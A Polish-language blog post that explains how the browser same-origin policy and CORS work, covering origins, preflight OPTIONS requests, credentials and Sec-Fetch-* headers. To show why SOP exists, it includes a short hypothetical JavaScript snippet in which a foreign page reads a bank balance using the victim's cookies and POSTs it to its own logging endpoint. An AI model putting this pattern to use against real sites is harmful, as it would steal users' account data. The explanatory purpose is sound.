Przejdź do treści

Same-origin policy i CORS, czyli kto może czytać dane z innego serwera

Profile photo of Adrian Zawadzki

Adrian Zawadzki

11 min czytania

Same-origin policy (SOP) w przeglądarce blokuje kod JavaScript z jednej strony przed czytaniem danych z innej domeny - chyba że serwer wprost pozwoli przez CORS. W poście opisuję, jak działa ten mechanizm zgody serwera i czemu czasem widzisz preflight OPTIONS, a czasem nie.

Każda strona w przeglądarce ma swój origin - kombinację schematu (http / https), domeny (np. example.com) i portu (np. 443 dla HTTPS, 8080 dla dev servera). Same-origin policy (SOP) to reguła, według której kod JavaScript jednej strony nie może czytać danych z innej, jeśli te dwie strony mają różne originy. CORS (Cross-Origin Resource Sharing) to mechanizm, który pozwala serwerowi zrobić wyjątek od tej reguły.

W tym poście rozkładam mechanikę obu: kiedy w sieci pojawia się preflight OPTIONS, dlaczego credentials: 'include' wymaga osobnej zgody i co dokładnie znaczą nagłówki Sec-Fetch-*.

#Same-origin policy - co to jest i czemu istnieje

Reguła SOP opiera się na pojęciu origin. Żeby dwa adresy były z tego samego originu, wszystkie trzy elementy - schemat (http / https), host (domena), port - muszą się zgadzać:

https://example.com/page        → origin: (https, example.com, 443)
http://example.com/page         → inny schemat = inny origin
https://api.example.com/page    → inna subdomena = inny origin
https://example.com:8080/page   → inny port = inny origin

Małe wyjaśnienie pojęcia “request do innej strony”: to nie strony komunikują się ze sobą bezpośrednio. Kod JS na stronie https://yoursite.com wywołuje fetch('https://api.example.com'), a przeglądarka realizuje to jako HTTP request do serwera api.example.com - tak samo, jakbyś wpisał ten URL ręcznie. Cała komunikacja fizycznie idzie przez sieć. SOP to dodatkowa kontrola w samej przeglądarce: dostała odpowiedź z serwera, ale niekoniecznie pozwoli twojej stronie ją odczytać.

Same-origin policy mówi: strona https://yoursite.com może bez ograniczeń komunikować się z innymi stronami https://yoursite.com, ale nie może odczytać odpowiedzi z https://api.example.com - nawet jeśli technicznie request się powiódł.

Czemu to ma sens? Wyobraź sobie świat bez SOP. Wchodzisz na losową stronę https://losowyblog.com. JavaScript tej strony wykonuje:

const response = await fetch("https://twojbank.com/api/balance", {
  credentials: "include",
});
const balance = await response.text();
await fetch("https://losowyblog.com/log", { method: "POST", body: balance });

Bez SOP ten skrypt mógłby wysłać request do twojego banku (cookies są dosyłane automatycznie przez credentials: 'include'), przeczytać saldo i wysłać je dalej. SOP wyłącza to domyślnie - skrypt z losowyblog.com może wysłać request, ale nie może odczytać odpowiedzi.

To podstawa modelu bezpieczeństwa stron internetowych. HTML Living Standard definiuje formalnie pojęcie originu, a Fetch Standard opisuje, jak SOP jest egzekwowany przez fetch().

#CORS - mechanizm zgody serwera

W realnym świecie często chcesz, żeby twoja aplikacja z https://yoursite.com pobierała dane z https://api.example.com. SOP by to zablokował. CORS to mechanizm, który pozwala serwerowi powiedzieć: “ta strona ma prawo czytać moje odpowiedzi”.

Klucz: decyduje serwer, nie przeglądarka. Przeglądarka jest egzekutorem reguły, ale to serwer mówi, co wolno. Cała komunikacja CORS odbywa się przez nagłówki HTTP.

Najprostszy scenariusz: serwer dodaje do response nagłówek:

Access-Control-Allow-Origin: https://yoursite.com

Przeglądarka widzi ten nagłówek, sprawdza, czy origin twojej strony jest na liście pozwolonych, i jeśli tak - pozwala stronie odczytać response. Jeśli nagłówka brak albo origin się nie zgadza - błąd blocked by CORS policy w konsoli.

To cała mechanika dla simple requests. Komplikacja zaczyna się dla requestów, które mogą zmieniać stan na serwerze.

#Simple requests vs preflight

Nie każdy request jest taki sam. CORS dzieli je na dwie kategorie.

Simple request musi spełniać wszystkie warunki:

  • Metoda to GET, HEAD lub POST
  • Nagłówki tylko z białej listy: Accept, Accept-Language, Content-Language, Content-Type (ograniczony do text/plain, multipart/form-data lub application/x-www-form-urlencoded)
  • Brak własnych nagłówków (np. Authorization, X-Custom-Header)

Dla simple request przeglądarka po prostu wysyła go z nagłówkiem Origin: https://yoursite.com i sprawdza odpowiedź. Jeśli serwer odpisał Access-Control-Allow-Origin zgadzający się z originem, response jest dostępny w .then() po fetch() w twoim kodzie JS.

Pobawcie się konfiguracją niżej, żeby zobaczyć, kiedy request kwalifikuje się jako simple, a kiedy wymusza preflight:

Metoda HTTP:
Content-Type:
Custom headers:
Simple request

Wszystkie trzy warunki spełnione - przeglądarka wyśle request od razu, bez dodatkowego OPTIONS najpierw.

Co decyduje
  • Metoda GET jest na białej liście (GET, HEAD, POST)
  • Content-Type text/plain jest na białej liście
  • Brak custom headerów

Wszystko inne wymaga preflight - dodatkowego requestu, który leci PRZED faktycznym. Preflight to zawsze metoda OPTIONS z dodatkowymi nagłówkami:

OPTIONS /api/data HTTP/1.1
Origin: https://yoursite.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization, Content-Type

Przeglądarka pyta: “Chcę zrobić PUT z tymi nagłówkami. Wolno?”. Serwer odpowiada:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://yoursite.com
Access-Control-Allow-Methods: PUT, POST, GET
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400

Jeśli odpowiedź jest OK, przeglądarka wykonuje właściwy request (PUT). Jeśli serwer odmówi - błąd, faktyczny PUT nigdy nie poleci. Access-Control-Max-Age mówi przeglądarce, jak długo może zapamiętać tę odpowiedź preflight (w pamięci, lokalnie), żeby nie pytać przy każdym requeście.

Czemu w ogóle preflight? Bo metody takie jak PUT, DELETE czy własne nagłówki mogą zmienić stan na serwerze. Przeglądarka nie chce wysyłać do obcego serwera requestu, który mógłby coś zmienić, dopóki ten serwer nie potwierdzi, że pozwala na cross-origin operacje tego typu. Preflight to pre-authorization handshake - serwer wprost mówi “tej stronie wolno PUT, z tymi nagłówkami”, zanim cokolwiek się zmienia.

Pełen opis mechaniki preflight jest w Fetch Standard - sekcja CORS preflight.

#Credentials - cookies, auth headers i osobna zgoda

Domyślnie fetch() nie wysyła cookies w cross-origin request. Nawet jeśli serwer ustawia cookie dla api.example.com, twoja strona z yoursite.com go nie dośle.

Żeby cookies poleciały, musisz wprost ustawić tryb credentials:

fetch("https://api.example.com/me", {
  credentials: "include",
});

Ale to nie wystarczy. Serwer też musi wprost pozwolić:

Access-Control-Allow-Origin: https://yoursite.com
Access-Control-Allow-Credentials: true

I jeszcze jedna pułapka: jeśli Access-Control-Allow-Credentials: true, to Access-Control-Allow-Origin nie może być *. Musi być konkretny origin. Czemu? Bo * to tzw. wildcard (gwiazdka jako symbol uniwersalny), znaczy “dowolny origin”. A credentials oznaczają sesję usera - serwer musi wskazać konkretną stronę, której ufa w operacjach na tej sesji. Wildcard znaczyłby “ufam każdej stronie”, a to nie ma sensu przy autoryzacji konkretnej sesji.

Ta podwójna zgoda (strona + serwer) jest świadoma. Cookies to sesje, sesje to autoryzacja, autoryzacja to wrażliwe operacje. Domyślne “wyłączone” zmusza autora kodu frontendowego i autora API do świadomej decyzji.

#Sec-Fetch-* - dodatkowy kontekst dla serwera

Klasyczne CORS opiera się tylko na nagłówku Origin. Współczesny fetch dodaje rodzinę nagłówków Sec-Fetch-*, które przeglądarka automatycznie dorzuca do każdego wychodzącego requestu. Najważniejszy z nich:

  • Sec-Fetch-Site: cross-site - mówi serwerowi, że request idzie z innej domeny niż strona, na której user się znajduje.

Po co to serwerowi? Klasyczny atak CSRF (Cross-Site Request Forgery) polega na tym, że obca strona wysyła request do API, na którym user jest zalogowany - cookies dolatują automatycznie, więc serwer widzi prawidłową sesję i wykonuje operację, której user nigdy nie zlecił (np. zmiana hasła, transfer). Sec-Fetch-Site: cross-site daje serwerowi pretekst, żeby taki request odrzucić od razu, zanim doleci do logiki autoryzacji - bez polegania wyłącznie na CORS. To warstwowa obrona.

Pełna rodzina (Sec-Fetch-Mode, Sec-Fetch-Dest, Sec-Fetch-User i ich wartości) jest opisana w Fetch Metadata Request Headers (W3C). Wsparcie: Chrome od wersji 76, Firefox od 90, Safari od 16.4.

#Co zapamiętać o CORS

CORS często odczytywany jest jako blokada, ale model jest dokładnie odwrotny: SOP blokuje wszystko domyślnie, CORS to mechanizm zgody serwera.

Trzy rzeczy do zapamiętania:

  1. Origin to schemat + host + port. Każda różnica w tej trójce daje inny origin, a inny origin = SOP blokuje.
  2. Decyduje serwer. Przeglądarka jest tylko egzekutorem. Każdy Access-Control-Allow-* to serwer mówiący “tej stronie wolno”. Brak nagłówka = brak zgody = blok.
  3. Preflight to pre-authorization. Dla nie-simple requests przeglądarka pyta OPTIONS, zanim zrobi PUT czy DELETE. Cel: nie wysłać do obcego serwera requestu, który mógłby zmienić dane, dopóki ten serwer nie potwierdzi pozwolenia.

Następnym razem, kiedy zobaczysz blocked by CORS policy w konsoli, idź przez trzy szybkie checki:

  1. Sprawdź response headers w zakładce Network. Jeśli Access-Control-Allow-Origin brak - serwer po prostu nie wysłał ci zgody (najczęstszy przypadek dla świeżych API). Jeśli jest, ale ma inny origin niż twoja strona - serwer pozwala innym stronom, nie tej, z której robisz fetch.
  2. Zobacz, czy przed właściwym requestem widzisz request OPTIONS. Jeśli tak - to preflight. Sprawdź response tego OPTIONS: czy Access-Control-Allow-Methods i Access-Control-Allow-Headers pasują do tego, co próbujesz wysłać (np. PUT, custom header).
  3. Jeśli używasz credentials: 'include' - serwer musi odpowiadać dwoma rzeczami naraz: Access-Control-Allow-Credentials: true oraz Access-Control-Allow-Origin: <twój konkretny origin> (nie *).

Praktyczna konsekwencja jest jedna: gdy zobaczysz CORS error, nie szukaj rozwiązania wokoło fetch() ani w mode: 'no-cors'. Otwórz Network, sprawdź response headers serwera, dopisz Access-Control-Allow-Origin na backendzie. To nie jest bug klienta, to brak konfiguracji serwera.

Komentarze

Wczytywanie komentarzy…

Dodaj komentarz